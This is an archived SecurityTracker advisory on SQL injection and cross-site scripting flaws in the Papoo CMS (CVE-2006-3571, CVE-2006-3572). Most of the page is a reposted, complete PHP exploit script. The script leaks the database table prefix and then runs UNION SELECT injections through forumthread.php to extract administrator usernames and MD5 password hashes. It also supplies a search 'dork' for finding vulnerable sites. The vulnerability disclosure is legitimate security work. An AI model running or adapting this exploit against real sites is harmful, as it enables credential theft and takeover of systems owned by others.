SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   Papoo Vendors:   papoo.de
Papoo Input Validation Holes in 'forumthread.php' and 'hilfe.php' Permit SQL Injection and Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1016461
SecurityTracker URL:  http://securitytracker.com/id/1016461
CVE Reference:   CVE-2006-3571, CVE-2006-3572   (Links to External Site)
Updated:  Jul 18 2008
Original Entry Date:  Jul 11 2006
Impact:   Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
Exploit Included:  Yes  
Version(s): 3_RC3 and prior versions
Description:   A vulnerability was reported in Papoo. A remote user can conduct cross-site scripting attacks. A remote user can inject SQL commands.

The 'forumthread.php' script does not properly validate user-supplied input in the 'msgid' parameter. A remote user can supply a specially crafted parameter value to execute SQL commands on the underlying database. This can be exploited to obtain an administrator's authentication credentials.

The 'hilfe.php' script does not properly filter HTML code from user-supplied input in the 'titel' and 'ausgabe' parameters before displaying the input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Papoo software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Some demonstration exploit URLs are provided:

http://[target]/[path_to_papoo]/interna/hilfe.php?titel=[XSS]
http://[target]/[path_to_papoo]/interna/hilfe.php?ausgabe=[XSS]

rgod reported this vulnerability.

The original advisory is available at:

http://retrogod.altervista.org/papoo_3rc3_sql.html

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Papoo software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A remote user can execute SQL commands on the underlying database.

Solution:   No solution was available at the time of this entry.
Vendor URL:  www.papoo.de/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  PAPOO <=3RC3 sql injection / admin credentials disclosure

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PAPOO <= 3_RC3 SQL injection / admin credentials disclosure\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dork: \"Help * Contact * Imprint * Sitemap\" | \"powered by papoo\" | \"powered by cms papoo\"\n\n";

/*
notes:
works regardless of magic_quotes_gpc settings...
there is some magic quotes disable code in variable_class.php near line 120-145
also you can always disclose table prefix...
we have different number of columns in older version, we will shortly bruteforce query

oh, we have two xss even:
http://[target]/[path_to_papoo]/interna/hilfe.php?titel=[XSS]
http://[target]/[path_to_papoo]/interna/hilfe.php?ausgabe=[XSS]

*/

if ($argc<3) {
echo "Usage: php ".$argv[0]." host path OPTIONS\n";
echo "host:      target server (ip/hostname)\n";
echo "path:      path to Papoo\n";
echo "Options:\n";
echo "   -T[prefix]   specify a table prefix (there is nor a default one, try papoo or papoo_\n";
echo "                however, if not specified, we will disclose it)\n";
echo "   -p[port]:    specify a port other than 80\n";
echo "   -P[ip:port]: specify a proxy\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /papoo/\n";
echo "php ".$argv[0]." localhost /papoo/ -Tpapoo_\n";
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;

}

function is_hash($hash)
{
 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
 else {return false;}
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
  $prefix=str_replace("-T","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if ($prefix=="")
{
  $packet="GET ".$p."forumthread.php?msgid=%27 HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  sendpacketii($packet);
  if (strstr($html,"You have an error in your SQL syntax"))
  {
    $temp=explode("_papoo_message.forumid",$html);
    $temp2=explode("AND ",$temp[0]);
    $prefix=$temp2[count($temp2)-1];
    echo "table prefix -> ".$prefix."\n";
  }
  else
  {die("Unable to disclose table prefix...\n");}
}

$diff=array(
            ",0,0,0,0,0",
            ",0,0,0,0",
            ",0,0,0",
            ",0,0",
            ",0",
            ""
           );
for ($j=0; $j<=count($diff)-1; $j++)
{
$sql="9999')/**/UNION/**/SELECT/**/1,0,0,0,CONCAT('*WhOp*',username,':',password,'*WhOp*'),0,0,0,0,0".$diff[$j]."/**/FROM ".$prefix."_papoo_user/**/WHERE/**/gruppenid='g1,'/*";
$sql=urlencode($sql);
$packet="GET ".$p."forumthread.php?msgid=".$sql." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("*WhOp*",$html);
for ($i=1; $i<=count($temp)-1; $i++)
{
 $temp2=explode(":",$temp[$i]);
 if (is_hash($temp2[1]))
 {
  echo "--------------------------------------------------------\n";
  echo "admin          -> ".$temp2[0]."                         \n";
  echo "password (md5) -> ".$temp2[1]."                         \n";
  echo "--------------------------------------------------------\n";
  die;
 }
}
}
//if you are here...
echo "exploit failed...";
?>

original url: http://retrogod.altervista.org/papoo_3rc3_sql.html

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC